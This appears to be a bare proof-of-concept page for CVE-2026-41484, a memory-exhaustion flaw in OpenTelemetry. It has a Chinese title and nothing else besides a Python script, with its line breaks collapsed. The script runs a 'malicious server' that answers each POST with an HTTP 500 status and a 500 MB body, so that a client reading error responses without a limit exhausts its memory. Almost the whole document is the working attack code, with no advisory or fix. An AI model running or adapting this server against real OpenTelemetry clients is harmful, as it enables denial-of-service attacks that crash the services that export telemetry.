CVE-2026-41484 OpenTelemetry内存耗尽漏洞

import http.server import socketserver # Configuration for the malicious server PORT = 8080 PAYLOAD_SIZE = 1024 * 1024 * 500 # 500MB payload to trigger OOM class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Send a 500 Internal Server Error to trigger the vulnerable code path self.send_response(500) self.send_header('Content-Type', 'application/json') self.end_headers() # Generate a large response body to exhaust memory # Comment: Sending a large payload to exploit unbounded read large_payload = 'A' * PAYLOAD_SIZE self.wfile.write(large_payload.encode('utf-8')) print(f"Sent {PAYLOAD_SIZE/(1024*1024)} MB payload to client.") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()